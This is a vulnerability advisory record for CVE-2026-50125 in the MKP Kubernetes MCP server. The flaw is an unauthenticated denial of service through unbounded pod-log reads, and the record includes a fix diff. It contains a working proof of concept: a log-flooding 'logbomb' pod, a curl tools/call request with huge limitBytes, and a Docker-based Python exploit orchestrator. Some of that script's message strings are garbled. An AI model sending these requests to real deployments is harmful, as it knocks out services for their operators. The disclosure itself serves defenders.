{"id":"CVE-2026-50125","aliases":["GO-2026-5978"],"url":"https://o3.security/vulnerability/CVE-2026-50125","summary":"MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion","details":"## Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion\n\n### Summary\n\nThe MKP (Model Context Protocol for Kubernetes) server exposes a `get_resource` MCP tool that proxies Kubernetes pod log requests. User-supplied `limitBytes` and `tailLines` parameters are parsed as unbounded `int64` values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory `bytes.Buffer` using `io.Copy` without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted `tools/call` request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with `limitBytes=134217728`.\n\n### Details\n\nThe vulnerability exists in `pkg/k8s/subresource.go` in the `buildPodLogOpts()` and `defaultGetPodLogs()` functions.\n\n**Source — unbounded parameter parsing (`pkg/k8s/subresource.go:171–181`):**\n\n```go\n// pkg/k8s/subresource.go\ndefaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil\n...\nif limitBytes, ok := parameters[\"limitBytes\"]; ok {\n    if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {\n        podLogOpts.LimitBytes = &b  // no upper-bound check\n    }\n}\nif tailLines, ok := parameters[\"tailLines\"]; ok {\n    if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {\n        podLogOpts.TailLines = &lines  // no upper-bound check\n    }\n}\n```\n\nWhen the `parameters` map is non-nil (always true for attacker-supplied input), `buildPodLogOpts()` is called at `pkg/k8s/subresource.go:94–96` and overwrites the 32 KB default entirely. The attacker can therefore supply any positive `int64` value (up to `2147483647` or `9223372036854775807`) as `limitBytes`.\n\n**Sink — unbounded in-memory copy (`pkg/k8s/subresource.go:114–115`):**\n\n```go\nbuf := new(bytes.Buffer)\n_, err = io.Copy(buf, podLogs)  // entire Kubernetes stream copied into RAM\n```\n\nThe stream from Kubernetes is read without limit into a heap-allocated `bytes.Buffer`. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).\n\n**Attack path (source → sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `cmd/server/main.go:30` | Server binds to `:8080` on all interfaces; no authentication by default |\n| 2 | `pkg/mcp/server.go:131` | `NewGetResourceTool()` registered unconditionally (no `--read-write` required) |\n| 3 | `pkg/mcp/get_resource.go:28–38` | Attacker-controlled `parameters` map parsed from `CallToolRequest` |\n| 4 | `pkg/mcp/get_resource.go:76` | `client.GetResource(..., parameters)` called |\n| 5 | `pkg/k8s/subresource.go:32–33` | `resource=pods` + `subresource=logs` routes into `getPodLogs` |\n| 6 | `pkg/k8s/subresource.go:171–181` | `limitBytes` / `tailLines` parsed without upper bound (source) |\n| 7 | `pkg/k8s/subresource.go:114–115` | `io.Copy(buf, podLogs)` loads full stream into `bytes.Buffer` (sink) |\n\nThe rate limiter (`pkg/ratelimit/config.go:16–17`) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.\n\n**Suggested remediation:**\n\n```diff\n+const (\n+    maxPodLogTailLines  int64 = 1000\n+    maxPodLogLimitBytes int64 = 1024 * 1024  // 1 MB hard cap\n+)\n+\n buf := new(bytes.Buffer)\n-_, err = io.Copy(buf, podLogs)\n+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}\n+_, err = io.Copy(buf, limitedLogs)\n+if limitedLogs.N == 0 {\n+    return nil, fmt.Errorf(\"pod logs exceed maximum size of %d bytes\", maxPodLogLimitBytes)\n+}\n\n if limitBytes, ok := parameters[\"limitBytes\"]; ok {\n     if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {\n+        if b <= 0 || b > maxPodLogLimitBytes {\n+            b = maxPodLogLimitBytes\n+        }\n         podLogOpts.LimitBytes = &b\n     }\n }\n if tailLines, ok := parameters[\"tailLines\"]; ok {\n     if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {\n+        if lines <= 0 || lines > maxPodLogTailLines {\n+            lines = maxPodLogTailLines\n+        }\n         podLogOpts.TailLines = &lines\n     }\n }\n```\n\n### PoC\n\n**Prerequisites**\n\n- Docker (for self-contained reproduction)\n- A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)\n- MKP server accessible on port 8080\n\n---\n\n**Option A — Self-contained Docker reproduction (Phase 2 method)**\n\nThis method uses a mock Kubernetes API that streams 128 MB of log data:\n\n```bash\n# 1. Clone the repository and enter it\ngit clone https://github.com/StacklokLabs/mkp.git\ncd mkp\n\n# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)\ndocker build -t mkp-vuln-001 -f vuln-001/Dockerfile .\n\n# 3. Run the exploit container — output includes RSS measurements\ndocker run --rm mkp-vuln-001\n```\n\nExpected output (condensed):\n\n```\nInitial RSS:  26464 kB  ( 25.8 MB)\nt+01s: MKP RSS =  383080 kB  ( 374.1 MB)  [in-progress]\nt+02s: MKP RSS =  683876 kB  ( 667.8 MB)  [in-progress]\nt+03s: MKP RSS =  945008 kB  ( 922.9 MB)  [in-progress]\nt+06s: MKP RSS = 1207560 kB  (1179.3 MB)  [in-progress]\nPeak RSS: 1207572 kB (1179.3 MB)\nDelta RSS: 1181108 kB (1153.4 MB)\nVERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB)\n```\n\n---\n\n**Option B — Real Kubernetes environment (manual)**\n\n```bash\n# 1. Build and start MKP server (default transport: streamable-http on :8080)\ngit clone https://github.com/StacklokLabs/mkp.git && cd mkp\ntask build\n./build/mkp-server --kubeconfig=/path/to/kubeconfig\n\n# 2. Create a pod that generates large logs\nkubectl -n default run logbomb --image=busybox --restart=Never -- \\\n    sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\n\n# Wait ~30 seconds for logs to accumulate, then:\n\n# 3. Send the exploit request\ncurl -sS http://127.0.0.1:8080/mcp \\\n    -H 'Content-Type: application/json' \\\n    -H 'Accept: application/json, text/event-stream' \\\n    --data '{\n      \"jsonrpc\": \"2.0\",\n      \"id\": 1,\n      \"method\": \"tools/call\",\n      \"params\": {\n        \"name\": \"get_resource\",\n        \"arguments\": {\n          \"resource_type\": \"namespaced\",\n          \"group\": \"\",\n          \"version\": \"v1\",\n          \"resource\": \"pods\",\n          \"namespace\": \"default\",\n          \"name\": \"logbomb\",\n          \"subresource\": \"logs\",\n          \"parameters\": {\n            \"tailLines\": \"999999999\",\n            \"limitBytes\": \"2147483647\"\n          }\n        }\n      }\n    }'\n```\n\n**Expected observation:** MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.\n\n### Impact\n\nThis is an **unauthenticated remote Denial of Service (DoS)** vulnerability affecting any deployment of MKP server accessible over the network.\n\n**Who is impacted:**\n\n- Any operator running `mkp-server` in its default configuration (no `--read-write` flag required; `get_resource` is registered by default on `:8080` without authentication).\n- Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., `kube-system` workloads in production clusters almost always satisfy this condition).\n- Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.\n\nA single `tools/call` request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with `limitBytes=2147483647` (~2 GB) will exhaust memory before any subsequent requests are needed.\n\nNo authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# ── Stage 1: Build mkp-server ─────────────────────────────────────────────────\nFROM golang:1.25 AS builder\n\n# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain\n# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.\nENV GOTOOLCHAIN=local\nENV CGO_ENABLED=0\n\nWORKDIR /src\n\n# Copy the source tree (build con = parent of vuln-001/)\nCOPY repo/ .\n\nRUN go build -o /mkp-server ./cmd/server\n\n# ── Stage 2: Runtime ─────────────────────────────────────────────────────────\nFROM python:3.12-slim\n\nRUN apt-get update && \\\n apt-get install -y --no-install-recommends procps curl && \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /mkp-server /usr/local/bin/mkp-server\n\nCOPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py\nCOPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml\nCOPY vuln-001/exploit.py /workspace/exploit.py\nCOPY vuln-001/entrypoint.sh /workspace/entrypoint.sh\n\nRUN chmod +x /workspace/entrypoint.sh\n\nCMD [\"/workspace/entrypoint.sh\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Dynamic Reproduction Orchestrator.\n\nBuild: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .\nRun  : docker run --rm mkp-vuln-001\n\nEvidence criterion: MKP RSS grows by ≥ 50 MB while processing a single\ntools/call request with limitBytes=134217728 (128 MB), proving that\ndefaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.\n\"\"\"\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK_DIR = Path(__file__).parent.resolve()\nREPO_ROOT = WORK_DIR.parent\nIMAGE = \"mkp-vuln-001\"\nBUILD_CMD = f\"docker build -t {IMAGE} -f vuln-001/Dockerfile .\"\nRUN_CMD   = f\"docker run --rm {IMAGE}\"\n\n\n# ─────────────────────────────────────────────────────────────────────────────\ndef run_streaming(cmd: str, cwd=None) -> tuple[int, str]:\n    \"\"\"Run a shell command, stream its output, and return (rc, full_output).\"\"\"\n    proc = subprocess.Popen(\n        cmd, shell=True,\n        stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n        text=True, cwd=cwd,\n    )\n    lines = []\n    for line in proc.stdout:\n        print(line, end='', flush=True)\n        lines.append(line)\n    proc.wait()\n    return proc.returncode, ''.join(lines)\n\n\ndef save_result(result: dict):\n    path = WORK_DIR / 'phase2_result.json'\n    with open(path, 'w', encoding='utf-8') as f:\n        json.dump(result, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[poc] Result saved → {path}\")\n\n\ndef parse_evidence(output: str) -> dict:\n    ev: dict = {}\n    m = re.search(r'Initial RSS\\s*:\\s*(\\d+)', output)\n    if m:\n        ev['initial_kb'] = int(m.group(1))\n        ev['initial_mb'] = ev['initial_kb'] / 1024\n\n    m = re.search(r'Peak RSS\\s*:\\s*(\\d+)', output)\n    if m:\n        ev['peak_kb'] = int(m.group(1))\n        ev['peak_mb'] = ev['peak_kb'] / 1024\n\n    m = re.search(r'Delta RSS\\s*:\\s*(\\d+)\\s*kB\\s*\\(([0-9.]+)\\s*MB\\)', output)\n    if m:\n        ev['delta_kb'] = int(m.group(1))\n        ev['delta_mb'] = float(m.group(2))\n    elif 'peak_kb' in ev and 'initial_kb' in ev:\n        ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']\n        ev['delta_mb'] = ev['delta_kb'] / 1024\n\n    m = re.search(r'VERDICT:\\s*(CONFIRMED|INCONCLUSIVE)[^\\n]*', output)\n    if m:\n        ev['verdict_line'] = m.group(0)\n\n    return ev\n\n\ndef extract_evidence_block(output: str) -> str:\n    \"\"\"Return the EVIDENCE SUMMARY block, or the last 3000 chars.\"\"\"\n    m = re.search(r'={10,}\\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)\n    if m:\n        return m.group(0)[:3000]\n    return output[-3000:]\n\n\n# ─────────────────────────────────────────────────────────────────────────────\ndef main():\n    print(\"=\" * 60)\n    print(\"VULN-001: Unbounded Pod Log Read — Dynamic Reproduction\")\n    print(\"=\" * 60)\n\n    os.chdir(REPO_ROOT)\n\n    # ── Docker build ──────────────────────────────────────────────────────────\n    print(f\"\\n[poc] Building Docker image…\\n[poc] {BUILD_CMD}\\n\")\n    rc, build_output = run_streaming(BUILD_CMD)\n    if rc != 0:\n        reason = f\"Docker build failed (exit {rc}). text error: {build_output[-800:]}\"\n        save_result({\n            \"passed\": False,\n            \"verdict\": \"FAIL\",\n            \"reason\": reason,\n            \"build_command\": BUILD_CMD,\n            \"run_command\": RUN_CMD,\n            \"poc_command\": \"python3 vuln-001/poc.py\",\n            \"evidence\": build_output[-2000:],\n            \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n        })\n        print(f\"\\n[poc] FAIL: {reason}\")\n        return False\n\n    print(\"\\n[poc] Build OK.\")\n\n    # ── Docker run ────────────────────────────────────────────────────────────\n    print(f\"\\n[poc] Running exploit container…\\n[poc] {RUN_CMD}\\n\")\n    rc, run_output = run_streaming(f\"{RUN_CMD} 2>&1\")\n    print(f\"\\n[poc] Container exited (code={rc})\")\n\n    ev = parse_evidence(run_output)\n    delta_mb = ev.get('delta_mb', 0.0)\n    print(f\"[poc] Parsed evidence: {ev}\")\n\n    # ── Verdict ───────────────────────────────────────────────────────────────\n    passed = delta_mb >= 50.0\n\n    if passed:\n        verdict = \"PASS\"\n        init_mb = ev.get('initial_mb', 0)\n        peak_mb = ev.get('peak_mb', 0)\n        reason = (\n            f\"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. \"\n            f\"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters \"\n            f\"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text \"\n            f\"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed.\"\n        )\n    else:\n        verdict = \"INCOMPLETE\"\n        reason = (\n            f\"RSS text {delta_mb:.1f} MB — 50 MB criteria text. \"\n            f\"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, \"\n            f\"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}\"\n        )\n\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_CMD,\n        \"run_command\": RUN_CMD,\n        \"poc_command\": \"python3 vuln-001/poc.py\",\n        \"evidence\": extract_evidence_block(run_output),\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    save_result(result)\n\n    print(f\"\\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}\")\n    return passed\n\n\nif __name__ == '__main__':\n    ok = main()\n    sys.exit(0 if ok else 1)\n```","published":"2026-07-14T18:09:48Z","modified":"2026-07-21T19:19:25.387252573Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/StacklokLabs/mkp","fixedVersion":"0.4.1"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/StacklokLabs/mkp/security/advisories/GHSA-qw5r-ppcg-f8rj"},{"type":"PACKAGE","url":"https://github.com/StacklokLabs/mkp"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-21T19:19:25.387252573Z"}}